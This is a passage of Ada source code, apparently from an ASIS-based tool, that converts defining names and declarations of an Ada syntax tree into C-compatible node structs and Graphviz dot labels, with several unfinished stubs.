Get_Element_ID (Asis.Declarations.Defining_Selector (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Defining_Selector", ID);
Result.Defining_Selector := ID;
end;
procedure Add_Position_Number_Image is
WS : constant Wide_String := Asis.Declarations.Position_Number_Image (Element);
begin
State.Add_To_Dot_Label ("Position_Number_Image", To_String (WS));
Result.Position_Number_Image := To_Chars_Ptr(WS);
end;
procedure Add_Representation_Value_Image is
WS : constant Wide_String := Asis.Declarations.Representation_Value_Image (Element);
begin
State.Add_To_Dot_Label ("Representation_Value_Image", To_String (WS));
Result.Representation_Value_Image := To_Chars_Ptr(WS);
end;
-- True if this is the name of a constant or a deferred constant.
-- TODO: Implement
function Is_Constant return Boolean is
(False);
procedure Add_Corresponding_Constant_Declaration is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID
(Asis.Declarations.Corresponding_Constant_Declaration (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Constant_Declaration", To_String(ID));
Result.Corresponding_Constant_Declaration := ID;
end;
procedure Add_Common_Items is
begin
State.Add_To_Dot_Label
(Name => "Defining_Name_Kind", Value => Defining_Name_Kind'Image);
Result.Defining_Name_Kind :=
anhS.To_Defining_Name_Kinds (Defining_Name_Kind);
Add_Defining_Name_Image;
end Add_Common_Items;
use all type Asis.Defining_Name_Kinds;
begin
If Defining_Name_Kind /= Not_A_Defining_Name then
Add_Common_Items;
end if;
case Defining_Name_Kind is
when Not_A_Defining_Name =>
raise Program_Error with
Module_Name & " called with: " & Defining_Name_Kind'Image;
when A_Defining_Identifier =>
null; -- No more info
when A_Defining_Character_Literal |
A_Defining_Enumeration_Literal =>
Add_Position_Number_Image;
Add_Representation_Value_Image;
when A_Defining_Operator_Symbol =>
Result.Operator_Kind := Add_Operator_Kind (State, Element);
when A_Defining_Expanded_Name =>
Add_Defining_Prefix;
Add_Defining_Selector;
end case;
if Is_Constant then
Add_Corresponding_Constant_Declaration;
end if;
State.A_Element.Element_Kind := a_nodes_h.A_Defining_Name;
State.A_Element.The_Union.Defining_Name := Result;
end Process_Defining_Name;
--------------------------------------------------------------------------
--------------------------------------------------------------------------
procedure Process_Declaration
(Element : in Asis.Element;
State : in out Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Declaration";
Result : a_nodes_h.Declaration_Struct :=
a_nodes_h.Support.Default_Declaration_Struct;
Declaration_Kind : Asis.Declaration_Kinds :=
Asis.Elements.Declaration_Kind (Element);
-- Supporting procedures are in alphabetical order:
procedure Add_Aspect_Specifications is begin
Add_Element_List
(This => State,
Elements_In => Asis.Declarations.Aspect_Specifications (Element),
Dot_Label_Name => "Aspect_Specifications",
List_Out => Result.Aspect_Specifications,
Add_Edges => True);
end;
-- This is obsolete a/o Ada95, and should be removed:
procedure Add_Body_Block_Statement is
begin
Result.Body_Block_Statement := anhS.Empty_ID;
end;
procedure Add_Body_Declarative_Items is begin
Add_Element_List
(This => State,
Elements_In => Asis.Declarations.Body_Declarative_Items (Element),
Dot_Label_Name => "Body_Declarative_Items",
List_Out => Result.Body_Declarative_Items,
Add_Edges => True);
end;
procedure Add_Body_Exception_Handlers is begin
Add_Element_List
(This => State,
Elements_In => Asis.Declarations.Body_Exception_Handlers (Element),
Dot_Label_Name => "Body_Exception_Handlers",
List_Out => Result.Body_Exception_Handlers,
Add_Edges => True);
end;
procedure Add_Body_Statements is begin
Add_Element_List
(This => State,
Elements_In => Asis.Declarations.Body_Statements (Element),
Dot_Label_Name => "Body_Statements",
List_Out => Result.Body_Statements,
Add_Edges => True);
end;
procedure Add_Corresponding_Base_Entity is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Corresponding_Base_Entity (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Base_Entity", ID);
Result.Corresponding_Base_Entity := ID;
end;
procedure Add_Corresponding_Body is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Corresponding_Body (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Body", ID);
Result.Corresponding_Body := ID;
end;
procedure Add_Corresponding_Body_Stub is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Corresponding_Body_Stub (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Body_Stub", ID);
Result.Corresponding_Body_Stub := ID;
end;
procedure Add_Corresponding_Declaration is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Corresponding_Declaration (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Declaration", ID);
Result.Corresponding_Declaration := ID;
end;
procedure Add_Corresponding_End_Name is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Elements.Corresponding_End_Name (Element));
begin
State.Add_To_Dot_Label ("Corresponding_End_Name", ID);
Result.Corresponding_End_Name := ID;
end;
procedure Add_Corresponding_Equality_Operator is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Corresponding_Equality_Operator (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Equality_Operator", ID);
Result.Corresponding_Equality_Operator := ID;
end;
procedure Add_Corresponding_First_Subtype is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Corresponding_First_Subtype (Element));
begin
State.Add_To_Dot_Label ("Corresponding_First_Subtype", ID);
Result.Corresponding_First_Subtype := ID;
end;
procedure Add_Corresponding_Last_Constraint is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Corresponding_Last_Constraint (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Last_Constraint", ID);
Result.Corresponding_Last_Constraint := ID;
end;
procedure Add_Corresponding_Last_Subtype is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Corresponding_Last_Subtype (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Last_Subtype", ID);
Result.Corresponding_Last_Subtype := ID;
end;
procedure Add_Corresponding_Parent_Subtype is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Definitions.Corresponding_Parent_Subtype (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Parent_Subtype", ID);
Result.Corresponding_Last_Subtype := ID;
end;
procedure Add_Corresponding_Pragmas is begin
Add_Element_List
(This => State,
Elements_In => Asis.Elements.Corresponding_Pragmas (Element),
Dot_Label_Name => "Corresponding_Pragmas",
List_Out => Result.Corresponding_Pragmas,
Add_Edges => True);
end;
procedure Add_Corresponding_Representation_Clauses is begin
Add_Element_List
(This => State,
Elements_In => Asis.Declarations.Corresponding_Representation_Clauses (Element),
Dot_Label_Name => "Corresponding_Representation_Clauses",
List_Out => Result.Corresponding_Representation_Clauses);
end;
procedure Add_Corresponding_Root_Type is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Definitions.Corresponding_Root_Type (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Root_Type", ID);
-- Not in a_nodes?
-- Result.Corresponding_Root_Type := ID;
State.Add_Not_Implemented;
end;
procedure Add_Corresponding_Subunit is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Corresponding_Subunit (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Subunit", ID);
Result.Corresponding_Subprogram_Derivation := ID;
end;
procedure Add_Corresponding_Subprogram_Derivation is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Corresponding_Subprogram_Derivation (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Subprogram_Derivation", ID);
Result.Corresponding_Subprogram_Derivation := ID;
end;
procedure Add_Corresponding_Type is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Corresponding_Type (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Type", ID);
Result.Corresponding_Type := ID;
end;
procedure Add_Corresponding_Type_Completion is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Corresponding_Type_Completion (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Type_Completion", ID);
Result.Corresponding_Type_Completion := ID;
end;
procedure Add_Corresponding_Type_Declaration is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Corresponding_Type_Declaration (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Type_Declaration", ID);
Result.Corresponding_Type_Declaration := ID;
end;
procedure Add_Corresponding_Type_Operators is begin
-- No Corresponding_Type_Operators in Declaration_Struct:
-- Add_Element_List
-- (This => State,
-- Elements_In => Asis.Definitions.Corresponding_Type_Operators (Element),
-- Dot_Label_Name => "Corresponding_Type_Operators",
-- List_Out => Result.Corresponding_Type_Operators,
-- Add_Edges => True);
State.Add_Not_Implemented;
end;
procedure Add_Corresponding_Type_Partial_View is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Corresponding_Type_Partial_View (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Type_Partial_View", ID);
Result.Corresponding_Type_Partial_View := ID;
end;
procedure Add_Corresponding_Type_Structure is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Definitions.Corresponding_Type_Structure (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Type_Structure", ID);
-- No Corresponding_Type_Operators in Declaration_Struct:
-- Result.Corresponding_Type_Structure := ID;
State.Add_Not_Implemented;
end;
procedure Add_Declaration_Interface_List is begin
Add_Element_List
(This => State,
Elements_In => Asis.Declarations.Declaration_Interface_List (Element),
Dot_Label_Name => "Declaration_Interface_List",
List_Out => Result.Declaration_Interface_List,
Add_Edges => True);
end;
procedure Add_Declaration_Kind is
-- Hides same thing in outer scope:
Value : Asis.Declaration_Kinds := Asis.Elements.Declaration_Kind (Element);
begin
State.Add_To_Dot_Label ("Declaration_Kind", Value'Image);
Result.Declaration_Kind :=
a_nodes_h.Support.To_Declaration_Kinds (Value);
end;
procedure Add_Default_Kind is
-- Hides same thing in outer scope:
Value : Asis.Subprogram_Default_Kinds := Asis.Elements.Default_Kind (Element);
begin
State.Add_To_Dot_Label ("Default_Kind", Value'Image);
Result.Default_Kind :=
a_nodes_h.Support.To_Subprogram_Default_Kinds (Value);
end;
procedure Add_Declaration_Origin is
Value : Asis.Declaration_Origins := Asis.Elements.Declaration_Origin (Element);
begin
State.Add_To_Dot_Label ("Declaration_Origin", Value'Image);
Result.Declaration_Origin :=
a_nodes_h.Support.To_Declaration_Origins (Value);
end;
procedure Add_Discriminant_Part is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Discriminant_Part (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Discriminant_Part", ID);
Result.Discriminant_Part := ID;
end;
-- Redirecting Add_Declaration_Subtype_Mark to Add_Object_Declaration_View.
-- See Declaration_Subtype_Mark A2005 comment in asis.declarations.ads in function
-- Object_Declaration_View.
procedure Add_Object_Declaration_View;
procedure Add_Declaration_Subtype_Mark renames Add_Object_Declaration_View;
procedure Add_Entry_Barrier is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Entry_Barrier (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Entry_Barrier", ID);
Result.Entry_Family_Definition := ID;
end;
procedure Add_Entry_Family_Definition is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Entry_Family_Definition (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Entry_Family_Definition", ID);
Result.Entry_Family_Definition := ID;
end;
procedure Add_Entry_Index_Specification is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Entry_Index_Specification (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Entry_Index_Specification", ID);
Result.Entry_Index_Specification := ID;
end;
procedure Add_Formal_Subprogram_Default is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Formal_Subprogram_Default (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Formal_Subprogram_Default", ID);
Result.Formal_Subprogram_Default := ID;
end;
procedure Add_Generic_Actual_Part is begin
Add_Element_List
(This => State,
Elements_In => Asis.Declarations.Generic_Actual_Part (Element),
Dot_Label_Name => "Generic_Actual_Part",
List_Out => Result.Generic_Actual_Part,
Add_Edges => True);
end;
procedure Add_Generic_Formal_Part is begin
Add_Element_List
(This => State,
Elements_In => Asis.Declarations.Generic_Formal_Part (Element),
Dot_Label_Name => "Generic_Formal_Part",
List_Out => Result.Generic_Formal_Part,
Add_Edges => True);
end;
procedure Add_Generic_Unit_Name is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Generic_Unit_Name (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Generic_Unit_Name", ID);
Result.Generic_Unit_Name := ID;
end;
procedure Add_Has_Abstract is
Value : constant Boolean := Asis.Elements.Has_Abstract (Element);
begin
State.Add_To_Dot_Label ("Has_Abstract", Value);
Result.Has_Abstract := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Has_Aliased is
Value : constant Boolean := Asis.Elements.Has_Aliased (Element);
begin
State.Add_To_Dot_Label ("Has_Aliased", Value);
Result.Has_Aliased := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Has_Limited is
Value : constant Boolean := Asis.Elements.Has_Limited (Element);
begin
State.Add_To_Dot_Label ("Has_Limited", Value);
Result.Has_Limited := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Has_Null_Exclusion is
Value : constant Boolean := Asis.Elements.Has_Null_Exclusion (Element);
begin
State.Add_To_Dot_Label ("Has_Null_Exclusion", Value);
Result.Has_Null_Exclusion := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Has_Private is
Value : constant Boolean := Asis.Elements.Has_Private (Element);
begin
State.Add_To_Dot_Label ("Has_Private", Value);
Result.Has_Private := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Has_Protected is
Value : constant Boolean := Asis.Elements.Has_Protected (Element);
begin
State.Add_To_Dot_Label ("Has_Protected", Value);
Result.Has_Protected := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Has_Reverse is
Value : constant Boolean := Asis.Elements.Has_Reverse (Element);
begin
State.Add_To_Dot_Label ("Has_Reverse", Value);
Result.Has_Reverse := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Has_Task is
Value : constant Boolean := Asis.Elements.Has_Task (Element);
begin
State.Add_To_Dot_Label ("Has_Task", Value);
Result.Has_Task := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Has_Tagged is
Value : constant Boolean := Asis.Elements.Has_Tagged (Element);
begin
State.Add_To_Dot_Label ("Has_Tagged", Value);
Result.Has_Task := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Initialization_Expression is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Initialization_Expression (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Initialization_Expression", ID);
Result.Initialization_Expression := ID;
end;
procedure Add_Is_Dispatching_Operation is
Value : constant Boolean := Asis.Declarations.Is_Dispatching_Operation (Element);
begin
State.Add_To_Dot_Label ("Is_Dispatching_Operation", Value);
Result.Is_Dispatching_Operation := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Is_Name_Repeated is
Value : constant Boolean := Asis.Declarations.Is_Name_Repeated (Element);
begin
State.Add_To_Dot_Label ("Is_Name_Repeated", Value);
Result.Is_Name_Repeated := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Is_Not_Null_Return is
Value : constant Boolean := Asis.Elements.Is_Not_Null_Return (Element);
begin
State.Add_To_Dot_Label ("Is_Not_Null_Return", Value);
Result.Is_Not_Null_Return := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Is_Not_Overriding_Declaration is
Value : constant Boolean := Asis.Declarations.Is_Not_Overriding_Declaration (Element);
begin
State.Add_To_Dot_Label ("Is_Not_Overriding_Declaration", Value);
Result.Is_Not_Overriding_Declaration := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Is_Overriding_Declaration is
Value : constant Boolean := Asis.Declarations.Is_Overriding_Declaration (Element);
begin
State.Add_To_Dot_Label ("Is_Overriding_Declaration", Value);
Result.Is_Overriding_Declaration := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Is_Private_Present is
Value : constant Boolean := Asis.Declarations.Is_Private_Present (Element);
begin
State.Add_To_Dot_Label ("Is_Private_Present", Value);
Result.Is_Private_Present := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Is_Subunit is
Value : constant Boolean := Asis.Declarations.Is_Subunit (Element);
begin
State.Add_To_Dot_Label ("Is_Subunit", Value);
Result.Is_Subunit := a_nodes_h.Support.To_bool (Value);
end;
-- Add_Iteration_Scheme_Name
procedure Add_Iteration_Scheme_Name is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Iteration_Scheme_Name (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Iteration_Scheme_Name", ID);
Result.Iteration_Scheme_Name := ID;
end;
procedure Add_Iterator_Specification is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Expressions.Iterator_Specification (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Iterator_Specification", ID);
-- No Iterator_Specification in a_nodes yet:
-- TODO: Add:
-- Result.Iterator_Specification := ID;
State.Add_Not_Implemented;
end;
procedure Add_Mode_Kind is
Value : constant Asis.Mode_Kinds := Asis.Elements.Mode_Kind (Element);
begin
State.Add_To_Dot_Label ("Mode_Kind", Value'Image);
Result.Mode_Kind := a_nodes_h.Support.To_Mode_Kinds (Value);
end;
procedure Add_Names is begin
Add_Element_List
(This => State,
Elements_In => Asis.Declarations.Names (Element),
Dot_Label_Name => "Names",
List_Out => Result.Names,
Add_Edges => True);
end;
procedure Add_Object_Declaration_View is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Object_Declaration_View (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Object_Declaration_View", ID);
Result.Object_Declaration_View := ID;
end;
procedure Add_Parameter_Profile is begin
Add_Element_List
(This => State,
Elements_In => Asis.Declarations.Parameter_Profile (Element),
Dot_Label_Name => "Parameter_Profile",
List_Out => Result.Parameter_Profile,
Add_Edges => True);
end;
procedure Add_Pragmas is begin
Add_Element_List
(This => State,
Elements_In => Asis.Elements.Pragmas (Element),
Dot_Label_Name => "Pragmas",
List_Out => Result.Pragmas,
Add_Edges => True);
end;
procedure Add_Protected_Operation_Items is begin
Add_Element_List
(This => State,
Elements_In => Asis.Declarations.Protected_Operation_Items (Element),
Dot_Label_Name => "Protected_Operation_Items",
List_Out => Result.Protected_Operation_Items,
Add_Edges => True);
end;
procedure Add_Private_Part_Declarative_Items is begin
Add_Element_List
(This => State,
Elements_In => Asis.Declarations.Private_Part_Declarative_Items (Element),
Dot_Label_Name => "Private_Part_Declarative_Items",
List_Out => Result.Private_Part_Declarative_Items,
Add_Edges => True);
end;
procedure Add_Renamed_Entity is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Renamed_Entity (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Renamed_Entity", ID);
Result.Renamed_Entity := ID;
end;
procedure Add_Result_Profile is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Result_Profile (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Result_Profile", ID);
Result.Result_Profile := ID;
end;
procedure Add_Specification_Subtype_Definition is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Specification_Subtype_Definition (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Specification_Subtype_Definition", ID);
Result.Specification_Subtype_Definition := ID;
end;
procedure Add_Type_Declaration_View is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Declarations.Type_Declaration_View (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Type_Declaration_View", ID);
Result.Type_Declaration_View := ID;
end;
procedure Add_Visible_Part_Declarative_Items is
begin
Add_Element_List
(This => State,
Elements_In => Asis.Declarations.Visible_Part_Declarative_Items (Element),
Dot_Label_Name => "Visible_Part_Declarative_Items",
List_Out => Result.Visible_Part_Declarative_Items,
Add_Edges => True);
end;
procedure Add_Common_Items is
begin
Add_Declaration_Kind;
Add_Declaration_Origin;
Add_Corresponding_Pragmas;
Add_Names;
Add_Aspect_Specifications;
Add_Corresponding_Representation_Clauses;
end Add_Common_Items;
use all type Asis.Declaration_Kinds;
begin -- Process_Declaration
If Declaration_Kind /= Not_A_Declaration then
Add_Common_Items;
end if;
case Declaration_Kind is
when Not_A_Declaration =>
raise Program_Error with
Module_Name & " called with: " & Declaration_Kind'Image;
when An_Ordinary_Type_Declaration =>
Add_Has_Abstract;
Add_Has_Limited;
Add_Discriminant_Part;
Add_Type_Declaration_View;
Add_Corresponding_Type_Declaration;
Add_Corresponding_Type_Partial_View;
Add_Corresponding_First_Subtype;
Add_Corresponding_Last_Constraint;
Add_Corresponding_Last_Subtype;
when A_Task_Type_Declaration =>
Add_Has_Task;
Add_Corresponding_End_Name;
Add_Discriminant_Part;
Add_Type_Declaration_View;
Add_Corresponding_Type_Declaration;
Add_Corresponding_Type_Partial_View;
Add_Corresponding_First_Subtype;
Add_Corresponding_Last_Constraint;
Add_Corresponding_Last_Subtype;
Add_Is_Name_Repeated;
Add_Corresponding_Declaration;
Add_Corresponding_Body;
Add_Declaration_Interface_List;
when A_Protected_Type_Declaration =>
Add_Has_Protected;
Add_Corresponding_End_Name;
Add_Discriminant_Part;
Add_Type_Declaration_View;
Add_Corresponding_Type_Declaration;
Add_Corresponding_Type_Partial_View;
Add_Corresponding_First_Subtype;
Add_Corresponding_Last_Constraint;
Add_Corresponding_Last_Subtype;
Add_Is_Name_Repeated;
Add_Corresponding_Declaration;
Add_Corresponding_Body;
Add_Declaration_Interface_List;
when An_Incomplete_Type_Declaration =>
Add_Corresponding_End_Name;
Add_Initialization_Expression;
Add_Discriminant_Part;
Add_Corresponding_Type_Declaration;
Add_Corresponding_Type_Completion;
Add_Corresponding_Type_Partial_View;
-- TODO: (2005)
-- asis.limited_withs.ads (2005)
-- Is_From_Limited_View
when A_Tagged_Incomplete_Type_Declaration =>
Add_Discriminant_Part; -- A2005
Add_Corresponding_Type_Declaration; -- A2005
Add_Corresponding_Type_Completion;
Add_Has_Tagged;
when A_Private_Type_Declaration =>
Add_Has_Abstract;
Add_Has_Limited;
Add_Has_Private;
Add_Discriminant_Part;
Add_Type_Declaration_View;
Add_Corresponding_Type_Declaration;
Add_Corresponding_Type_Completion;
Add_Corresponding_Type_Partial_View;
Add_Corresponding_First_Subtype;
Add_Corresponding_Last_Constraint;
Add_Corresponding_Last_Subtype;
when A_Private_Extension_Declaration =>
Add_Has_Abstract;
Add_Has_Limited;
Add_Has_Private;
Add_Discriminant_Part;
Add_Type_Declaration_View;
Add_Corresponding_Type_Declaration;
Add_Corresponding_Type_Completion;
Add_Corresponding_Type_Partial_View;
Add_Corresponding_First_Subtype;
Add_Corresponding_Last_Constraint;
Add_Corresponding_Last_Subtype;
when A_Subtype_Declaration =>
Add_Type_Declaration_View;
Add_Corresponding_First_Subtype;
Add_Corresponding_Last_Constraint;
Add_Corresponding_Last_Subtype;
when A_Variable_Declaration =>
Add_Object_Declaration_View;
Add_Initialization_Expression;
when A_Constant_Declaration =>
Add_Object_Declaration_View;
Add_Initialization_Expression;
when A_Deferred_Constant_Declaration =>
Add_Object_Declaration_View;
when A_Single_Task_Declaration =>
Add_Object_Declaration_View;
Add_Is_Name_Repeated;
Add_Corresponding_Declaration;
Add_Corresponding_Body;
Add_Declaration_Interface_List;
Add_Has_Task;
Add_Corresponding_End_Name;
when A_Single_Protected_Declaration =>
Add_Object_Declaration_View;
Add_Is_Name_Repeated;
Add_Corresponding_Declaration;
Add_Corresponding_Body;
Add_Declaration_Interface_List;
Add_Has_Protected;
Add_Corresponding_End_Name;
when An_Integer_Number_Declaration =>
Add_Initialization_Expression;
when A_Real_Number_Declaration =>
Add_Initialization_Expression;
when An_Enumeration_Literal_Specification =>
null; -- No more info
when A_Discriminant_Specification =>
Add_Object_Declaration_View; -- A2005
Add_Initialization_Expression;
Add_Declaration_Subtype_Mark;
Add_Has_Null_Exclusion;
when A_Component_Declaration =>
Add_Object_Declaration_View;
Add_Initialization_Expression;
when A_Loop_Parameter_Specification =>
Add_Specification_Subtype_Definition;
Add_Has_Reverse;
when A_Generalized_Iterator_Specification =>
Add_Iterator_Specification;
Add_Has_Reverse;
when An_Element_Iterator_Specification =>
Add_Iteration_Scheme_Name;
Add_Iterator_Specification;
Add_Has_Reverse;
when A_Procedure_Declaration =>
Add_Has_Abstract;
Add_Is_Not_Null_Return;
Add_Parameter_Profile;
Add_Is_Overriding_Declaration;
Add_Is_Not_Overriding_Declaration;
Add_Corresponding_Declaration;
Add_Corresponding_Body;
Add_Corresponding_Subprogram_Derivation;
Add_Corresponding_Type;
Add_Is_Dispatching_Operation;
when A_Function_Declaration =>
Add_Has_Abstract;
Add_Parameter_Profile;
Add_Result_Profile;
Add_Is_Overriding_Declaration;
Add_Is_Not_Overriding_Declaration;
Add_Corresponding_Declaration;
Add_Corresponding_Body;
Add_Corresponding_Subprogram_Derivation;
Add_Corresponding_Type;
Add_Corresponding_Equality_Operator;
Add_Is_Dispatching_Operation;
when A_Parameter_Specification =>
Add_Has_Aliased;
Add_Has_Null_Exclusion;
Add_Mode_Kind;
Add_Object_Declaration_View;
Add_Initialization_Expression;
when A_Procedure_Body_Declaration =>
Add_Pragmas;
Add_Corresponding_End_Name;
Add_Parameter_Profile;
Add_Is_Overriding_Declaration;
Add_Is_Not_Overriding_Declaration;
Add_Body_Declarative_Items;
Add_Body_Statements;
Add_Body_Exception_Handlers;
Add_Body_Block_Statement;
Add_Is_Name_Repeated;
Add_Corresponding_Declaration;
Add_Is_Subunit;
Add_Corresponding_Body_Stub;
Add_Is_Dispatching_Operation;
when A_Function_Body_Declaration =>
Add_Is_Not_Null_Return;
Add_Pragmas;
Add_Corresponding_End_Name;
Add_Parameter_Profile;
Add_Result_Profile;
Add_Is_Overriding_Declaration;
Add_Is_Not_Overriding_Declaration;
Add_Body_Declarative_Items;
Add_Body_Statements;
Add_Body_Exception_Handlers;
Add_Body_Block_Statement;
Add_Is_Name_Repeated;
Add_Corresponding_Declaration;
Add_Is_Subunit;
Add_Corresponding_Body_Stub;
Add_Is_Dispatching_Operation;
when A_Return_Variable_Specification =>
State.Add_Not_Implemented; -- A2005
when A_Return_Constant_Specification =>
State.Add_Not_Implemented; -- A2005
when A_Null_Procedure_Declaration =>
State.Add_Not_Implemented; -- A2005
when An_Expression_Function_Declaration =>
State.Add_Not_Implemented; -- A2012
when A_Package_Declaration =>
Add_Pragmas;
Add_Corresponding_End_Name;
Add_Is_Name_Repeated;
Add_Corresponding_Declaration;
Add_Corresponding_Body;
Add_Visible_Part_Declarative_Items;
Add_Is_Private_Present;
Add_Private_Part_Declarative_Items;
when A_Package_Body_Declaration =>
Add_Pragmas;
Add_Corresponding_End_Name;
Add_Body_Declarative_Items;
Add_Body_Statements;
Add_Body_Exception_Handlers;
Add_Body_Block_Statement;
Add_Is_Name_Repeated;
Add_Corresponding_Declaration;
Add_Is_Subunit;
Add_Corresponding_Body_Stub;
when An_Object_Renaming_Declaration =>
Add_Object_Declaration_View; -- A2005
Add_Declaration_Subtype_Mark;
Add_Renamed_Entity;
Add_Corresponding_Base_Entity;
Add_Has_Null_Exclusion; -- A2005
when An_Exception_Renaming_Declaration =>
Add_Corresponding_Base_Entity;
Add_Renamed_Entity;
when A_Package_Renaming_Declaration =>
Add_Corresponding_Base_Entity;
Add_Corresponding_Body;
Add_Corresponding_Declaration;
Add_Renamed_Entity;
when A_Procedure_Renaming_Declaration =>
Add_Corresponding_Base_Entity;
Add_Corresponding_Body;
Add_Corresponding_Declaration;
Add_Corresponding_Subprogram_Derivation;
Add_Is_Dispatching_Operation;
Add_Is_Not_Overriding_Declaration;
Add_Is_Overriding_Declaration;
Add_Parameter_Profile;
Add_Renamed_Entity;
when A_Function_Renaming_Declaration =>
Add_Corresponding_Base_Entity;
Add_Corresponding_Body;
Add_Corresponding_Declaration;
Add_Corresponding_Equality_Operator;
Add_Corresponding_Subprogram_Derivation;
Add_Is_Dispatching_Operation;
Add_Is_Not_Overriding_Declaration;
Add_Is_Overriding_Declaration;
Add_Parameter_Profile;
Add_Renamed_Entity;
Add_Result_Profile;
-- Add_Is_Not_Null_Return -- A2005
when A_Generic_Package_Renaming_Declaration =>
Add_Corresponding_Base_Entity;
Add_Corresponding_Body;
Add_Corresponding_Declaration;
Add_Renamed_Entity;
when A_Generic_Procedure_Renaming_Declaration =>
Add_Corresponding_Base_Entity;
Add_Corresponding_Body;
Add_Corresponding_Declaration;
Add_Renamed_Entity;
when A_Generic_Function_Renaming_Declaration =>
Add_Corresponding_Base_Entity;
Add_Corresponding_Body;
Add_Corresponding_Declaration;
Add_Renamed_Entity;
when A_Task_Body_Declaration =>
Add_Has_Task;
Add_Pragmas;
Add_Corresponding_End_Name;
Add_Body_Declarative_Items;
Add_Body_Statements;
Add_Body_Exception_Handlers;
Add_Body_Block_Statement;
Add_Is_Name_Repeated;
Add_Corresponding_Declaration;
Add_Is_Subunit;
Add_Corresponding_Body_Stub;
when A_Protected_Body_Declaration =>
Add_Corresponding_Body;
Add_Corresponding_Body_Stub;
Add_Corresponding_Declaration;
Add_Corresponding_End_Name;
Add_Has_Protected;
Add_Is_Name_Repeated;
Add_Is_Subunit;
Add_Pragmas;
Add_Protected_Operation_Items;
when An_Entry_Declaration =>
Add_Parameter_Profile;
Add_Is_Overriding_Declaration;
Add_Is_Not_Overriding_Declaration;
Add_Corresponding_Body;
Add_Entry_Family_Definition;
when An_Entry_Body_Declaration =>
